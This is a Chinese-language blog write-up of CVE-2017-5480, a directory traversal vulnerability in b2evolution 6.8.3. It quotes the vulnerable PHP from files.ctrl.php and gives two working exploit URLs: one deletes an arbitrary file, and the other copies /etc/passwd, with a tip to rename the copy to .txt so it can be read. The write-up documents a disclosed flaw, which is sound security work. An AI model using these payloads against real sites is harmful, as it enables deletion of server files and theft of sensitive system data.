初探CVE漏洞之CVE-2017-5480

0x00前言

CVE-2017-5480,b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件。

0x01代码审计

1.安装

程序下载地址:6.8.3-stable

2.漏洞分析

具有后台访问权限的用户管理文件时,发出请求URL(以dave请求自己头像为例):

1
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=dave.jpg&fm_sources_root=user_4

函数admin.php中部分源码:

1
require $inc_path.$ctrl_mappings[$ctrl];

请求文件为:/b2evolution/inc/files/files.ctrl.php
文件files.ctrl.php的部分源码

1
2
3
4
5
6
7
if( ($edited_User = & $UserCache->get_by_ID( $user_ID, false )) === false )
{ // We could not find the contact to link:
$Messages->add( sprintf( T_('Requested «%s» object does not exist any longer.'), T_('User') ), 'error' );
unset( $edited_User );
forget_param( 'user_ID' );
unset( $user_ID );
}

可知至少需要具有文件编辑(editer)权限的用户才能成功利用

  1. files.ctrl.php中的任意文件删除漏洞代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
if( $confirmed )
{ // Delete files, It is possible only file has no links:
$selected_Filelist->load_meta();
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add_to_group( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ), 'warning', T_('Deleting files...') );
// Skip this file
continue;
}
if( $l_File->unlink() )
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('The directory «%s» has been deleted.')
: T_('The file «%s» has been deleted.') ), $l_File->dget('name') ), 'success', T_('Deleting files...') );
$fm_Filelist->remove( $l_File );
}
else
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('Could not delete the directory «%s» (not empty?).')
: T_('Could not delete the file «%s».') ), $l_File->dget('name') ), 'error', T_('Deleting files...') );
}
}
$action = 'list';
$redirect_to = param( 'redirect_to', 'url', NULL );
// Redirect so that a reload doesn't write to the DB twice:
header_redirect( empty( $redirect_to ) ? regenerate_url( '', '', '', '&' ) : $redirect_to, 303 ); // Will EXIT
// We have EXITed already at this point!!
}
else
{
// make sure we have loaded metas for all files in selection!
$selected_Filelist->load_meta();
$index = 0;
// Check if there are delete restrictions on the files:
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ) );
// remove it from the list of selected files (that will be offered to delete):
$selected_Filelist->remove( $l_File );
unset( $fm_selected[$index] );
}
$index++;
}
if( ! $selected_Filelist->count() )
{ // no files left in list, cancel action
$action = 'list';
// Redirect so that a reload doesn't write to the DB twice:
header_redirect( regenerate_url( '', '', '', '&' ), 303 ); // Will EXIT
// We have EXITed already at this point!!
}
}
break;

任意文件删除漏洞代码利用Payload:

1
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=delete&fm_selected[]=../../../../../../.././../../../../../../../../../../../../../../../../../../../../../../../../test.txt&crumb_file=FXTab96veYnFmNDbfHfVJ3BxCHq7NNs1

删除文件1

删除文件2

  1. files.ctrl.php中的任意文件读取漏洞代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case 'copy':
……
$allow_locked_filetypes = $current_User->check_perm( 'files', 'all' );
……
// Copy file
$old_path = $loop_src_File->get_rdfp_rel_path();
$new_path = $selected_Filelist->get_rds_list_path().$new_names[$loop_src_File->get_md5_ID()];
if( $old_path == $new_path && $loop_src_File->_FileRoot->ID == $selected_Filelist->_FileRoot->ID )
{ // File path has not changed...
$Messages->add_to_group( sprintf( T_('«%s» has not been copied'), $old_path ), 'note', T_('Copying files:') );
continue;
}
// Get a pointer on dest file
$dest_File = & $FileCache->get_by_root_and_path( $selected_Filelist->get_root_type(), $selected_Filelist->get_root_ID(), $new_path );
// Perform copy:
if( ! $loop_src_File->copy_to( $dest_File ) )
{ // failed
$Messages->add_to_group( sprintf( T_('«%s» could not be copied to «%s»'), $old_path, $new_path ), 'error''Copying files:') );
continue;
}
$success_message = sprintf( T_('«%s» has been successfully copied to «%s»'), $old_path, $new_path );
$success_title = T_('Copying files:');
break;

任意文件读取漏洞代码利用Payload:

1
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=file_copy&fm_selected[]=../../../../../../../../../../../../../../../../../../etc/passwd&fm_sources_root=collection_6

读文件1
files.ctrl.php中重命名时文件扩展名限制代码:

1
2
3
4
5
6
if( $check_error = check_rename( $new_names[$loop_src_File->get_md5_ID()], $loop_src_File->is_dir(), $loop_src_File->get_dir()allow_locked_filetypes ) )
{
$confirmed = 0;
param_error( 'new_names['.$loop_src_File->get_md5_ID().']', $check_error );
continue;
}

从源码由于文件扩展名限制,修改copy的文件名为*.txt才能copy成功任意文件,从而读取内容

读文件2
Tips:

  • 文件编辑(editer)权限的用户才能成功利用
  • 读文件时注意重命名文件为*.txt

0x02后记

黑盒测试+代码审计,最终成功提交第一个CVE漏洞,来张图记录一下过程

记录日志